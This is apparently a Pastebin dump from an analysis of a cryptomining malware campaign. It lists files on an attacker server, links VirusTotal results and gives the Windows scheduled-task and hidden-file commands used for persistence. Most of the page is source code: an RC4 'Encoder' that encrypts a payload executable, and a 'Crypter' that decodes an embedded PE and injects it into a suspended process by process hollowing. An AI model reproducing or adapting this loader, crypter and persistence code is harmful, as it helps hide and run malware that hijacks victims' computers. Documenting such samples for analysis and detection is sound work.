Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Miner and source code:
- 109.234.36.233 - /bot/Miner/bin/Release/
- 2/10/2018 5:33 AM 16896 LoaderBot.exe
- 12/5/2017 5:28 AM 161 LoaderBot.exe.config
- 2/10/2018 5:33 AM 40448 LoaderBot.pdb
- 12/5/2017 5:28 AM 22696 LoaderBot.vshost.exe
- 12/5/2017 5:28 AM 161 LoaderBot.vshost.exe.config
- 11/22/2017 12:59 PM 3994 LoaderBot.vshost.exe.manifest
- 109.234.36.233 - /src/Crypter/
- 11/27/2017 2:23 PM 2741882 Crypter.cpp
- 11/22/2017 12:59 PM 39 Crypter.h
- 11/22/2017 3:00 PM 8299 Crypter.vcxproj
- 11/22/2017 12:59 PM 1725 Crypter.vcxproj.filters
- 11/22/2017 12:59 PM 165 Crypter.vcxproj.user
- 11/22/2017 12:59 PM 3943 ReadMe.txt
- 11/27/2017 2:11 PM <dir> Release
- 11/22/2017 12:59 PM 749 Resource.h
- 11/22/2017 12:59 PM 354 stdafx.cpp
- 11/22/2017 12:59 PM 595 stdafx.h
- 11/22/2017 12:59 PM 342 targetver.h
- 109.234.36.233 - /bot/Miner/
- 12/5/2017 5:28 AM 161 app.config
- 11/22/2017 12:59 PM 3994 app.manifest
- 11/22/2017 2:47 PM <dir> bin
- 12/2/2017 11:32 AM 14024 ex.cs
- 12/5/2017 5:28 AM 5890 LoaderBot.csproj
- 11/22/2017 12:59 PM 479 LoaderBot.csproj.user
- 11/22/2017 12:59 PM <dir> obj
- 2/10/2018 5:33 AM 14047 Program.cs
- 11/22/2017 12:59 PM <dir> Properties
- 11/22/2017 12:59 PM <dir> Resources
- Crypter.exe: https://www.virustotal.com/#/file/b9edd978ff1f27561855982cc224ef8de24fd3f23a5d5acdd2b7397b5b4d8479/detection
- RawData from crypter.cpp decrypted: https://www.virustotal.com/#/file/83344bd807921b5a3acd1addce2218f72b83311af5ec928b91c9eb4413257920/detection
- Another enbedded binary into RawData from crypter executable (the miner): https://www.virustotal.com/#/file/f581888f1c5c8a39ac332955197bd115f99b1c23a190b7a6da73e94455f8b467/detection
- Installation:
- schtasks /create /tn \Systasks\ServiceRun /tr "C:\ProgramData\SystemIdle.exe" /st 00:00 /sc once /du 9999:59 /ri 1 /f
- attrib +s +h "C:\ProgramData\SystemIdle.exe"
- attrib +s +h %userprofile%\AppData\Roaming\Windows
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- http://109.234.36.233/src/Encoder/Encoder.cpp
- // Encoder.cpp: îïðåäåëÿåò òî÷êó âõîäà äëÿ êîíñîëüíîãî ïðèëîæåíèÿ.
- //
- #include <Windows.h>
- #include <fstream>
- #include <stdio.h>
- #include <random>
- void ksa(unsigned char state[], unsigned char key[], unsigned int len)
- {
- int i, j = 0, k;
- for (i = 0; i <= 255; ++i)
- {
- state[i] = i;
- }
- for (i = 0; i <= 255; ++i)
- {
- j = (j + state[i] + key[i & (len - 1)]) & 255;
- k = state[i];
- state[i] = state[j];
- state[j] = k;
- }
- }
- void prga(unsigned char state[], unsigned char stream[], unsigned int len)
- {
- int i, j = 0, k = 0, l;
- for (i = 0; i < len; ++i)
- {
- j = (j + 1) & 255;
- k = (k + state[j]) & 255;
- l = state[j];
- state[j] = state[k];
- state[k] = l;
- stream[i] = state[(state[j] + state[k]) & 255];
- }
- }
- void _xor(unsigned char data1[], unsigned char data2[], unsigned int len)
- {
- for (int i = 0; i < len; i++)
- {
- data1[i] ^= data2[i];
- }
- }
- void crib_drag(unsigned char data[], unsigned char crib[], unsigned int data_len, unsigned int crib_len)
- {
- int i, j;
- unsigned char *temp = new unsigned char[crib_len];
- for (i = 0; i <= data_len - crib_len; i++)
- {
- for (j = 0; j < crib_len; j++)
- {
- temp[j] = crib[j];
- }
- for (j = 0; j < crib_len; j++)
- {
- temp[j] ^= data[j + i];
- }
- }
- delete[] temp;
- }
- int main()
- {
- FILE * file = fopen("in.exe", "rb");
- if (file == NULL) return 0;
- fseek(file, 0, SEEK_END);
- long int size = ftell(file);
- fclose(file);
- file = fopen("in.exe", "rb");
- unsigned char * in = (unsigned char *)malloc(size);
- int bytes_read = fread(in, sizeof(unsigned char), size, file);
- fclose(file);
- unsigned char state[256];
- unsigned char *stream = new unsigned char[size];
- unsigned int iv;
- unsigned long long key;
- std::random_device rd;
- std::mt19937 mt(rd());
- std::uniform_real_distribution<float> dist(0.0, 16777215.0);
- iv = dist(mt);
- key = 10000000000;
- unsigned char seed[] =
- {
- (unsigned char)(iv >> 0), (unsigned char)(iv >> 8), (unsigned char)(iv >> 16),
- (unsigned char)(key >> 0), (unsigned char)(key >> 8), (unsigned char)(key >> 16), (unsigned char)(key >> 24), (unsigned char)(key >> 32)
- };
- ksa(state, seed, 8);
- prga(state, stream, size);
- _xor(in, stream, size);
- file = fopen("out.exe", "wb");
- int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
- fclose(file);
- ksa(state, seed, 8);
- prga(state, stream, size);
- _xor(in, stream, size);
- file = fopen("decr.exe", "wb");
- bytes_written = fwrite(in, sizeof(unsigned char), size, file);
- fclose(file);
- FILE *f = fopen("key", "w");
- for (int i = 0; i < 8; i++)
- {
- seed[i] -= 0x160;
- fprintf(f, "0x%02X|", seed[i]);
- }
- fclose(f);
- return 0;
- }
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- http://109.234.36.233/src/Encoder/ReadMe.txt
- ========================================================================
- КОНСОЛЬНОЕ ПРИЛОЖЕНИЕ. Обзор проекта Encoder
- ========================================================================
- Это приложение Encoder создано автоматически с помощью мастера приложений.
- В этом файле представлена сводка содержимого всех файлов, входящих в состав приложения Encoder.
- Encoder.vcxproj
- Это основной файл проекта VC++, создаваемый с помощью мастера приложений. Он содержит данные о версии языка Visual C++, использованной для создания файла, а также сведения о платформах, конфигурациях и функциях проекта, выбранных с помощью мастера приложений.
- Encoder.vcxproj.filters
- Это файл фильтров для проектов VC++, созданный с помощью мастера приложений. Он содержит сведения о сопоставлениях между файлами в вашем проекте и фильтрами. Эти сопоставления используются в среде IDE для группировки файлов с одинаковыми расширениями в одном узле (например CPP-файлы сопоставляются с фильтром "Исходные файлы").
- Encoder.cpp
- Это основной исходный файл приложения.
- /////////////////////////////////////////////////////////////////////////////
- Другие стандартные файлы:
- StdAfx.h, StdAfx.cpp
- Эти файлы используются для построения файла предкомпилированного заголовка (PCH) с именем Encoder.pch и файла предкомпилированных типов с именем StdAfx.obj.
- /////////////////////////////////////////////////////////////////////////////
- Прочие примечания.
- С помощью комментариев «TODO:» в мастере приложений обозначаются фрагменты исходного кода, которые необходимо дополнить или изменить.
- /////////////////////////////////////////////////////////////////////////////
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- http://109.234.36.233/src/Crypter/Crypter.cpp
- #include "stdafx.h"
- #include "Crypter.h"
- #include <windows.h>
- #include <winternl.h>
- #include <string>
- #include <stdio.h>
- #include <random>
- #include <iostream>
- #pragma comment(lib,"ws2_32.lib")
- #pragma comment(lib,"ntdll.lib")
- //rawData = Encrypted PE with simple byte - 0x42 operation
- unsigned char rawData[] = {
- 0x0B,0x18,0x4E,0xBE,0xC1,0xBE,0xBE,0xBE,0xC2,0xBE,0xBE,0xBE,0xBD,0xBD,0xBE,0xBE,
- 0x76,0xBE,0xBE,0xBE,0xBE,0xBE,
- ...
- ... (THIS ARRAY CONTAINS THE EMBBEDED PE ENCRYPTED WITH -0x42, unpacked PE here:
- https://www.virustotal.com/#/file/83344bd807921b5a3acd1addce2218f72b83311af5ec928b91c9eb4413257920/detection)
- ...
- 0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,
- 0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,0xBE,
- };
- typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
- typedef int(__stdcall *f_funci)();
- int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
- for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
- rawData[i] += 0x42;
- }
- PIMAGE_DOS_HEADER IDH;
- PIMAGE_NT_HEADERS INH;
- PIMAGE_SECTION_HEADER ISH;
- PROCESS_INFORMATION PI;
- STARTUPINFOA SI;
- PCONTEXT CTX;
- PDWORD dwImageBase;
- NtUnmapViewOfSection xNtUnmapViewOfSection;
- LPVOID pImageBase;
- int Count;
- IDH = PIMAGE_DOS_HEADER(rawData);
- TCHAR szFilePath[1024];
- GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
- HINSTANCE hGetProcIDDLL = LoadLibrary(L"ntdll1.dll");
- if (!hGetProcIDDLL) {
- hGetProcIDDLL = LoadLibrary(L"JVwtJDkkEKjv");
- if (!hGetProcIDDLL) {
- hGetProcIDDLL = LoadLibrary(L"EvPdWfKGFgPu");
- //THE FOLLOWING CODE DECRYPT AND INJECT THE COINMINER
- //Sleep(5000);
- DWORD_PTR mNtUnmapViewOfSection = (DWORD_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtUnmapViewOfSection");//Get dynamicly the adress of NtUnmapViewOfSection
- if (mNtUnmapViewOfSection)
- {
- if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
- {
- INH = PIMAGE_NT_HEADERS(DWORD(rawData) + IDH->e_lfanew);
- if (INH->Signature == IMAGE_NT_SIGNATURE)
- {
- RtlZeroMemory(&SI, sizeof(SI));
- RtlZeroMemory(&PI, sizeof(PI));
- if (CreateProcessA((LPCSTR)szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI))
- {
- CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
- CTX->ContextFlags = CONTEXT_FULL;
- if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
- {
- ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
- if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
- {
- xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
- xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
- }
- pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
- if (pImageBase)
- {
- WriteProcessMemory(PI.hProcess, pImageBase, rawData, INH->OptionalHeader.SizeOfHeaders, NULL);
- for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
- {
- ISH = PIMAGE_SECTION_HEADER(DWORD(rawData) + IDH->e_lfanew + 248 + (Count * 40));
- WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(rawData) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
- }
- WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
- CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
- SetThreadContext(PI.hThread, LPCONTEXT(CTX));
- ResumeThread(PI.hThread);
- }
- }
- }
- }
- }
- }
- VirtualFree(rawData, 0, MEM_RELEASE);
- return EXIT_FAILURE;
- }
- }
- f_funci funci = (f_funci)GetProcAddress(hGetProcIDDLL, "NtUnmapViewOfSection123");
- if (!funci) {
- return EXIT_FAILURE;
- }
- return 0;
- }
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------------------------------------
- http://109.234.36.233/src/Crypter/ReadMe.txt
- ========================================================================
- ПРИЛОЖЕНИЕ WIN32. Обзор проекта Crypter
- ========================================================================
- Это приложение Crypter создано автоматически с помощью мастера приложений.
- В этом файле представлена сводка содержимого всех файлов, входящих в состав приложения Crypter.
- Crypter.vcxproj
- Это основной файл проекта VC++, создаваемый с помощью мастера приложений. Он содержит данные о версии языка Visual C++, использованной для создания файла, а также сведения о платформах, конфигурациях и функциях проекта, выбранных с помощью мастера приложений.
- Crypter.vcxproj.filters
- Это файл фильтров для проектов VC++, созданный с помощью мастера приложений. Он содержит сведения о сопоставлениях между файлами в вашем проекте и фильтрами. Эти сопоставления используются в среде IDE для группировки файлов с одинаковыми расширениями в одном узле (например CPP-файлы сопоставляются с фильтром "Исходные файлы").
- Crypter.cpp
- Это основной исходный файл приложения.
- /////////////////////////////////////////////////////////////////////////////
- C помощью мастера приложений автоматически создаются следующие ресурсы:
- Crypter.rc
- Он представляет собой список всех ресурсов Microsoft Windows, используемых программой. В него включены значки, точечные рисунки и курсоры, хранящиеся в подкаталоге RES. Этот файл можно редактировать непосредственно в Microsoft Visual C++.
- Resource.h
- Это стандартный файл заголовка, в котором определяются новые идентификаторы ресурсов. Такой файл можно прочитать и обновить в Microsoft Visual C++.
- Crypter.ico
- Файл значка для приложения (32x32). Этот значок включается в основной файл ресурсов Crypter.rc.
- small.ico
- Файл значка, содержащий уменьшенную версию значка приложения (16x16). Этот значок включается в основной файл ресурсов Crypter.rc.
- /////////////////////////////////////////////////////////////////////////////
- Другие стандартные файлы:
- StdAfx.h, StdAfx.cpp
- Эти файлы используются для построения файла предкомпилированного заголовка (PCH) с именем Crypter.pch и файла предкомпилированных типов с именем StdAfx.obj.
- /////////////////////////////////////////////////////////////////////////////
- Прочие примечания.
- С помощью комментариев «TODO:» в мастере приложений обозначаются фрагменты исходного кода, которые необходимо дополнить или изменить.
- /////////////////////////////////////////////////////////////////////////////
- -----------------------------------------------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement